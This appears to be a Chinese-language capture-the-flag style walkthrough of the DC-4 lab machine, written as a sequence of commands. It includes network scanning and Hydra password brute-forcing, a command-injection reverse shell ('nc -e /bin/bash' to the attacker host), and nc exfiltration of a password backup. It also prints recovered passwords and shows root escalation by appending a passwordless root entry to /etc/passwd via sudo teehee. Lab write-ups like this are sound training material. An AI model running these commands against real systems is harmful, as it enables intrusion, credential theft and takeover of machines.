DC-4

#主机发现—扫描客户端存活主机:-sP

1
2
namp -sP 192.168.43.0/24
arp-scan -l

#端口探测,服务识别—探测端口版本: -sV

1
nmap -sV -p- 192.168.43.7

DC4端口探测22,80

#指纹识别

1
whatweb -v http://192.168.43.7/

#目录扫描

1
dirsearch -u http://192.168.43.7/ -e php -i

dc4目录扫描没什么用

#Hydra爆破–字典为john–没啥用

1
hydra -l admin -P /usr/share/john/password.lst 192.168.43.7 http-get /

#BP抓包爆破-登录界面可以RCE

DC4命令执行whoami:www-data —低权限

#kali机反弹shell

1
2
3
nc -lvnp 8888

BP:nc+-e+/bin/bash+192.168.43.33+8888

DC4反弹shell空格 = +

#低权限交互式shell

1
python -c 'import pty; pty.spawn("/bin/bash")'

#尝试提权

/home/jim

存在三个东西 mbox无权限访问

SUID提权:无果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

------------------------------------------------------------
find: 这是Linux系统中用于查找文件和目录的命令。
/: 这是find命令的起始路径,从根目录开始进行搜索
-user root: find命令的一个条件,表示要查找属主为
root的文件。
-perm -4000: find命令的另一个条件,表示要查找具有SUID权限(权限设置为4xxx)的文件。
-print: find命令的一个动作,表示将符合条件的文件路径输出到标准输出(stdout)
2\>/dev/null: 这是将错误输出(stderr)重定向到/dev/null,即将错误信息丢弃,不显示在终端上。
-type f: 文件类型为f
-exec ls -ldb {}\; 这是 -exec 选项的一部分,用于标记命令的结束。

/home/jim 存在old-passwords.bak文件 保存至本地

1
2
3
4
5
6
7
scp /home/jim/backups/old-passwords.bak 192.168.43.33:/home/kali   -----权限不够

把old-passwords.bak传出来 ----利用nc
kali
nc -lvnp 2334 > old-passwords.txt
靶机
nc 192.168.43.33 2334 < jim/backups/old-passwords.bak

#ssh爆破登录jim

1
2
3
hydra -l jim -P /home/kali/old-passwords.txt 192.168.43.7 ssh -vV

得到密码:jibril04

DC4ssh爆破

​​ssh登录jim​

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ssh [email protected]

查看mbox
cat mbox ---一封text邮箱
cat /var/mail --------得到charles的密码:^xHhA&hvim0y

#登录charles
su charles

提权
切换用户,sudo -l发现提示:teehee命令可无密码以root权限执行
sudo -l
-Matching Defaults entries for charles on dc-4:
- env\_reset, mail\_badpass,
- secure\_path\=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
-User charles may run the following commands on dc-4:
- (root) NOPASSWD: /usr/bin/teehee

echo "test1::0:0:root:/root:/bin/bash"|sudo teehee -a /etc/passwd

DC4jimyou have mail ——–!

​![屏幕截图 2023-10-14 175249](assets/屏幕截图 2023-10-14 175249-20231014175257-iai8fdl.png)​

​![屏幕截图 2023-10-14 175655](assets/屏幕截图 2023-10-14 175655-20231014175702-i898vay.png)​

#提权

​![屏幕截图 2023-10-14 180532](assets/屏幕截图 2023-10-14 180532-20231014180627-uzpewua.png)

​​拿下​

​![屏幕截图 2023-10-14 180539](assets/屏幕截图 2023-10-14 180539-20231014180642-f59cxs9.png)​